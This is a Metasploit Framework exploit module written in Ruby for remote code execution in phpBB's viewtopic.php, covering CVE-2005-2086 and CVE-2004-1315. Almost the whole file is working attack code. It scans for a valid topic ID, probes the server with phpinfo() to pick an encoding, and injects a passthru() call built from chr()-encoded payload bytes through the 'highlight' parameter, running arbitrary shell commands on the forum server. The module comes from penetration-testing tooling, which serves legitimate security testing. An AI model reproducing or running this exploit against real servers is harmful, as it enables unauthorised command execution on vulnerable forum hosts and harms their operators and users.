##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'phpBB viewtopic.php Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits two arbitrary PHP code execution flaws in the
          phpBB forum system. The problem is that the 'highlight' parameter
          in the 'viewtopic.php' script is not verified properly and will
          allow an attacker to inject arbitrary code via preg_replace().
      },
      'Author'         => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2005-2086'],
          [ 'CVE', '2004-1315'],
          [ 'OSVDB', '11719'],
          [ 'OSVDB', '17613'],
          [ 'BID', '14086'],
          [ 'BID', '10701'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },    
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => 
        [
          [ 'Automatic',     { }],
          [ 'phpbb <=2.0.10',   { }],
          [ 'phpbb <=2.0.15',   { }],
        ],
      'DisclosureDate' => 'Nov 12 2004',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
          OptString.new('TOPIC', [false, "The ID of a valid topic"]),
        ], self.class)
  end

  def find_topic

    1.upto(32) do |x|

    res = send_request_raw({
      'uri'  => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
    }, 25)

    if (res and res.body.match(/class="postdetails"/))
      print_status("Discovered valid topic ID: #{x}")
      return x
    end

    end
    return false

  end

  def exploit

    topic = datastore['TOPIC'] || find_topic

    if !(topic)
      print_status("No valid topic ID found, please specify the TOPIC option.")
      return
    else

      sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="

      case target.name
      when /Automatic/
        req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"

        res = send_request_raw({
        'uri'  => datastore['URI'] + req
        }, 25)

        print_status("Trying to determine which attack method to use...")

        if (res and res.body =~ /\<title>phpinfo/)
          byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
          sploit << "%2527%252epassthru(#{byte})%252e%2527"
        else
          byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
          sploit << "%27.passthru(#{byte}).%27"
        end

      when /2\.0\.10/
        byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
        sploit << "%2527%252epassthru(#{byte})%252e%2527"
      when /2\.0\.15/
        byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
        sploit << "%27.passthru(#{byte}).%27"
      end

      res = send_request_raw({
      'uri'  => sploit
      }, 25)

    end

  end

end